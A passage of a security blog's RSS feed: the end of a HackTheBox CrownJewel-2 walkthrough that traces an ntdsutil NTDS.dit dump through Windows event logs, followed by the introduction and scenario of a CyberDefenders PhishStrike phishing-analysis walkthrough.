2&lt;/strong&gt;, let’s capture the system time by navigating to the &lt;strong&gt;Details&lt;/strong&gt; tab, copying the &lt;strong&gt;System Time&lt;/strong&gt; for the event, and then submitting the answer to continue building our timeline.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f6fa2d77dcff6500ed75444c0c7fb05f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/f6fa2d77dcff6500ed75444c0c7fb05f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b1e0f46e9ace41ddc3f2760eb5b228ae_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1238px&#34; data-flex-grow=&#34;516&#34; height=&#34;155&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/b1e0f46e9ace41ddc3f2760eb5b228ae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-when-was-the-newly-dumped-database-considered-complete-and-ready-foruse&#34;&gt;Question 4: When was the newly dumped database considered complete and ready for use?&#xA;&lt;/h3&gt;&lt;p&gt;Since we’ve already found the database events in the &lt;strong&gt;APPLICATION&lt;/strong&gt; log, let’s manually review the entries that follow the database’s creation, starting with the event from &lt;strong&gt;Questions 2 &amp;amp; 3&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Scrolling through the logs, we’ll quickly come across the following event reporting that the database engine detached the dumped &lt;strong&gt;NTDS.dit&lt;/strong&gt; database, indicating that the creation is completed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;de6339942391300c5ad0a22da366f004_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;325px&#34; data-flex-grow=&#34;135&#34; height=&#34;590&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/de6339942391300c5ad0a22da366f004_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Following the same process that we used in &lt;strong&gt;Questions 1 &amp;amp; 3&lt;/strong&gt;, copy the &lt;strong&gt;System Time&lt;/strong&gt; from the detailed view and submit the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;81e9b0547c632c5307737529717fb82d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1222px&#34; data-flex-grow=&#34;509&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/81e9b0547c632c5307737529717fb82d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-event-logs-use-event-sources-to-track-events-coming-from-different-sources-which-event-source-provides-database-status-data-like-creation-and-detachment&#34;&gt;Question 5: Event logs use event sources to track events coming from different sources. Which event source provides database status data like creation and detachment?&#xA;&lt;/h3&gt;&lt;p&gt;Throughout the investigation of the &lt;strong&gt;APPLICATION&lt;/strong&gt; logs, you may have noticed that both database events from &lt;strong&gt;Questions 3 &amp;amp; 4&lt;/strong&gt; were provided by the same event source: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-managed-reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ESENT&lt;/strong&gt;&lt;/a&gt;, a database engine that’s part of &lt;strong&gt;Windows&lt;/strong&gt;. This is all we need to answer &lt;strong&gt;Question 5.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-managed-reference&#34;  title=&#34;https://learn.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-managed-reference&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Extensible Storage Engine Managed Reference - Win32 apps&lt;/strong&gt;&#xA;_Learn more about: Extensible Storage Engine Managed Reference_learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-managed-reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c6f6a7cdc4886aedb3500e94acad1436_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;325px&#34; data-flex-grow=&#34;135&#34; height=&#34;590&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/c6f6a7cdc4886aedb3500e94acad1436_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7ef66291d61eabfab5229542d1a3cd70_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1103px&#34; data-flex-grow=&#34;459&#34; height=&#34;174&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/7ef66291d61eabfab5229542d1a3cd70_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-when-ntdsutilexe-is-used-to-dump-the-database-it-enumerates-certain-user-groups-to-validate-the-privileges-of-the-account-being-used-which-two-groups-are-enumerated-by-the-ntdsutilexe-process-give-the-groups-in-alphabetical-order-joined-by-commaspace&#34;&gt;Question 6: When ntdsutil.exe is used to dump the database, it enumerates certain user groups to validate the privileges of the account being used. Which two groups are enumerated by the ntdsutil.exe process? Give the groups in alphabetical order joined by comma space.&#xA;&lt;/h3&gt;&lt;p&gt;The key word to answering this question is “enumerate.” To find the answer, we’ll pivot to the &lt;strong&gt;SECURITY&lt;/strong&gt; log. Once again, if you followed along during the &lt;a class=&#34;link&#34; href=&#34;https://stumblesec.medium.com/hackthebox-crownjewel-1-sherlock-walkthrough-2efb81522f2c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-1&lt;/strong&gt;&lt;/a&gt; investigation, this next part will look very familiar.&lt;/p&gt;&#xA;&lt;p&gt;First, filter the &lt;strong&gt;SECURITY&lt;/strong&gt; log for &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 4799&lt;/strong&gt;&lt;/a&gt; — “&lt;em&gt;A security-enabled local group membership was enumerated.&lt;/em&gt;” This event indicates that a local group membership was queried to check the account privileges.&lt;/p&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c-3&#34;&gt;[&lt;strong&gt;4799(S) A security-enabled local group membership was enumerated. - Windows 10&lt;/strong&gt;&#xA;_Describes security event 4799(S) A security-enabled local group membership was enumerated._learn.microsoft.com](&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c-4&#34;&gt;&amp;ndash; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c-5&#34;&gt;&amp;ndash;&amp;rdquo;)[](&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&amp;ndash;)&lt;/p&gt;&#xA;&lt;p&gt;Now that we’re only filtering the group membership enumeration events, we can narrow it down to the entries within the timeline we found in &lt;strong&gt;Question 2.&lt;/strong&gt; During this time period, we’ll notice some events with the source process name of &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343%28v=ws.11%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ntdsutil.exe&lt;/strong&gt;&lt;/a&gt; where two distinct groups are enumerated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4f7a7aca02bf751fc723b3810f4b785c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/4f7a7aca02bf751fc723b3810f4b785c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;4799 — First Enumerated Group&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;15b63c63730f7f68790b707264cebebc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/15b63c63730f7f68790b707264cebebc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;4799 — Second Enumerated Group&lt;/p&gt;&#xA;&lt;p&gt;Putting the two groups in the correct alphabetized format, we can submit the answer and continue.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;84ed0b5e89a8cce4d89ba2fa40837789_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1000px&#34; data-flex-grow=&#34;416&#34; height=&#34;192&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/84ed0b5e89a8cce4d89ba2fa40837789_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-now-you-are-tasked-to-find-the-login-time-for-the-malicious-session-using-the-logon-id-find-the-time-when-the-user-logon-sessionstarted&#34;&gt;Question 7: Now you are tasked to find the Login Time for the malicious Session. Using the Logon ID, find the Time when the user logon session started.&#xA;&lt;/h3&gt;&lt;p&gt;We’ve made it to the last question! To tackle &lt;strong&gt;Question 7&lt;/strong&gt;, copy the &lt;strong&gt;Logon ID&lt;/strong&gt; field &lt;strong&gt;(0x8DE3D)&lt;/strong&gt; from the events that we found in the previous question. We’ll use this to correlate other events that share this ID.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;daa3591823f4cda49a97d706f4087d33_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;573&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/daa3591823f4cda49a97d706f4087d33_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For more granular searching than the built-in &lt;strong&gt;Event Viewer&lt;/strong&gt; filtering options allow, we can write a custom filter within the &lt;strong&gt;XML tab&lt;/strong&gt; of the &lt;strong&gt;Filter Current Log&lt;/strong&gt; options. This filter will only display events with the matching Logon ID and clears the &lt;strong&gt;4799&lt;/strong&gt; event filter we had before.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;444985f1ea95c25eff24d7b15fd7a24b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;334px&#34; data-flex-grow=&#34;139&#34; height=&#34;574&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/444985f1ea95c25eff24d7b15fd7a24b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;[EventData[Data[@Name=&amp;lsquo;SubjectLogonId&amp;rsquo;]=&amp;lsquo;0x8de3d&amp;rsquo;]]&lt;/p&gt;&#xA;&lt;p&gt;With our custom filter in place, scroll to the bottom of the list (if you’re still in descending order) to find the oldest events. Here, we’ll find a few, non-enumeration (&lt;strong&gt;4799&lt;/strong&gt;) events with the same timestamp.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b042ef131426c69edb660e39d8431bdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;565&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/b042ef131426c69edb660e39d8431bdd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For one last time, switch to the &lt;strong&gt;XML View&lt;/strong&gt; for any of these events, copy the &lt;strong&gt;System Time&lt;/strong&gt; value, and submit the answer. Now let’s wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b0b9b8b4e37b94d5f0b9acc0816fc874_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/b0b9b8b4e37b94d5f0b9acc0816fc874_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e88cab1b58a0b08d56313a026ba4fb97_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1097px&#34; data-flex-grow=&#34;457&#34; height=&#34;175&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/e88cab1b58a0b08d56313a026ba4fb97_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Let’s wrap up this investigation of &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/CrownJewel-2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CrownJewel-2&lt;/strong&gt;&lt;/a&gt; with a quick recap: Using the &lt;em&gt;Windows Event logs,&lt;/em&gt; we discovered details about how and when &lt;strong&gt;ntdsutil&lt;/strong&gt; was abused on the domain controller, including the start time, dumped file path, enumerated groups, and Logon ID. This helps us identify the attacker’s activities and create a detailed timeline to document the incident. Great job with the triage!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt; for the fun and realistic challenge! This is the first series of Sherlocks that I’ve done with the platform, and it was an excellent experience both times. Remember, while this challenge is geared toward beginners, the narrative and triage processes are very realistic and valuable practice for all skill levels. Continuous, hands-on practice is key to staying sharp for incident response in the real world — very cool stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b35e5cb0eaad578cb31ef6831e1c728f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;315px&#34; data-flex-grow=&#34;131&#34; height=&#34;609&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-crownjewel-2-sherlock-walkthrough/b35e5cb0eaad578cb31ef6831e1c728f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;FLARE-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — OS Credential Dumping: NTDS (T1003.003):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003/003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1003/003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Extensible Storage Engine Managed Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-managed-reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-managed-reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c-6&#34;&gt;&lt;strong&gt;Microsoft Learn — 4799(S): A security-enabled local group membership was enumerated:&lt;/strong&gt; [https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page&amp;mdash;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;2efb81522f2c-7&#34;&gt;&amp;ndash;](&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;2efb81522f2c&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&amp;ndash;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Ntdsutil:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343%28v=ws.11%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11)&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders  —  PhishStrike Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/</link>
            <pubDate>Mon, 16 Dec 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/014273df83121eb4df310d39081fe18b_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders  —  PhishStrike Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders--phishstrike-challenge-walkthrough&#34;&gt;CyberDefenders — PhishStrike Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-cyber-threat-intelligence-challenge-using-mxtoolbox-urlhaus-virustotal-mitre-attck--malwarebazaar&#34;&gt;A Cyber Threat Intelligence Challenge using MXToolBox, URLhaus, VirusTotal, MITRE ATT&amp;amp;CK, &amp;amp; MalwareBazaar&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;406px&#34; data-flex-grow=&#34;169&#34; height=&#34;353&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/014273df83121eb4df310d39081fe18b_MD5.png&#34; width=&#34;598&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PhishStrike&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Prepare to dive into the world of &lt;strong&gt;Cyber Threat Intelligence&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, a phishing email is targeting members of our institution&amp;rsquo;s faculty which includes a suspicious link. Our goal is to analyze the phishing email artifact to discover more about the sender and the link to scope the potential impact on a victim. To unravel this mystery, we&amp;rsquo;ll leverage several tools as we follow the email thread, including:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/EmailHeaders.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MXToolBox&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; This tool helps us perform a detailed analysis of the email headers. It offers easy-to-read insights about the sender and any potential anomalies that we can explore.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;URLhaus&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; After analyzing the headers, we may uncover some suspicious URLs. &lt;em&gt;URLhaus&lt;/em&gt; is a service where we can gather intelligence about these URLs by checking them against a database of known malicious domains, giving us valuable context about potential malware hosted on them.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Virus Total&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; After identifying details about the malware, we can submit the file hashes to &lt;em&gt;VirusTotal&lt;/em&gt; to get comprehensive scan results and analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://bazaar.abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MalwareBazaar&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; This is a repository used to share malware samples with the infosec community. Here, we can search for additional reports about the uploaded samples to understand the malware&amp;rsquo;s behavior.&lt;/p&gt;&#xA;&lt;p&gt;The exciting part is that the deeper we go, the more details we&amp;rsquo;ll uncover about the email payload, discovering more insights about the malware&amp;rsquo;s infrastructure. Sounds like a fun mystery, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;As a cybersecurity analyst for an educational institution, you receive an alert about a phishing email targeting faculty members. The email, appearing from a trusted contact, claims a $625,000 purchase and provides a link to download an invoice.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Your task is to investigate the email using Threat Intel tools. Analyze the email headers and inspect the link for malicious content. Identify any Indicators of Compromise (IOCs) and document your findings to prevent potential fraud and educate faculty on phishing recognition.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    